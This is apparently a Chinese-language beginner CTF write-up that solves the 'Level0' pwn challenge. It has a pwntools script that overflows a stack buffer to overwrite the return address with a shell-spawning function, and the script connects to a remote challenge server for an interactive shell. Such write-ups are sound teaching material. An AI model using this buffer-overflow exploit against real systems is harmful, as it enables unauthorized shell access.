当前位置:网站首页>PWN新手入门Level0
PWN新手入门Level0
2022-06-29 02:31:00 【Day-3】

首先查看一下文件格式属性。
运行一下看一看。
丢入IDA中,查看代码。

int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
进入函数看一眼。

同时我们也发现了进入服务器的函数。

我们只需要将read函数中ret改为callsystem的地址,就可以进入服务器了。
编写源代码:
from pwn import *
context(os='Linux',arch="amd64",log_level="debug")
content = 0
elf = ELF("Level0")
system_addr = elf.symbols["callsystem"] # 0x400596
def main():
if content == 1:
day3 = process("Level0")
else:
day3 =remote("111.200.241.244",58272)
payload = b'a' * (0x80 + 8) + p64(system_addr)
day3.recvuntil("Hello, World\n")
day3.sendline(payload)
day3.interactive()
main()



边栏推荐
- 微信小程序自定义组件
- 110. simple chat room 13: chat room server
- 干货丨微服务架构是什么?有哪些优点和不足?
- Quelques tests pour compléter l'environnement wasm
- mark
- Trigonometric function calculation
- String length
- Programmers whose monthly salary is less than 30K must recite the interview stereotype. I'll eat it first
- Talk about SQL optimization
- 字符串属性练习
猜你喜欢

sql连续登录问题

安装kibana

CTFHub-Web-密码口令-弱口令

EMC、EMI、EMS的關系

瀑布型项目管理最常用的10个小工具,可以自由搭建使用
![[redis] data introduction & General Command & string type](/img/86/3abc5047f9c0a051f432e82ccc816c.png)
[redis] data introduction & General Command & string type

They all talk about interviews with big factories. When I interview with small factories, I invite people to drink tea?

“内窥镜第一股”二闯IPO,去年亏损5个亿,核心产品商业化仍存疑 | IPO速递

矩阵特征值和特征向量求解——特征值分解(EVD)
![[untitled]](/img/36/2f9319e05157ab6a8dd5aa3bef4505.png)
[untitled]
随机推荐
China's flexible employment has reached 200million
Mipi d-phy -- contents of HS and LP agreements
How does sound amplify weak sounds
Wechat applet custom component
三角函数计算
瀑布型项目管理最常用的10个小工具,可以自由搭建使用
Oracle recovery tools actual batch bad block repair
The linkedhashset set makes the elements orderly without repetition
Studies of relative costs for development in different languages
兰宝传感科技冲刺科创板:年营收3.5亿 许永童家族色彩浓厚
String method exercise
MySQL的下载和安装
B1009 irony
Application of fsockopen function
Handling method of occasional error reporting on overseas equipment
The meaning of cross multiplication and dot multiplication (simple formula memory method)
[learning notes] subsets and questions
信息学奥赛一本通 1361:产生数(Produce) | 洛谷 P1037 [NOIP2002 普及组] 产生数
table通过伪类实现 另类自适应
Day10 enumeration class and annotation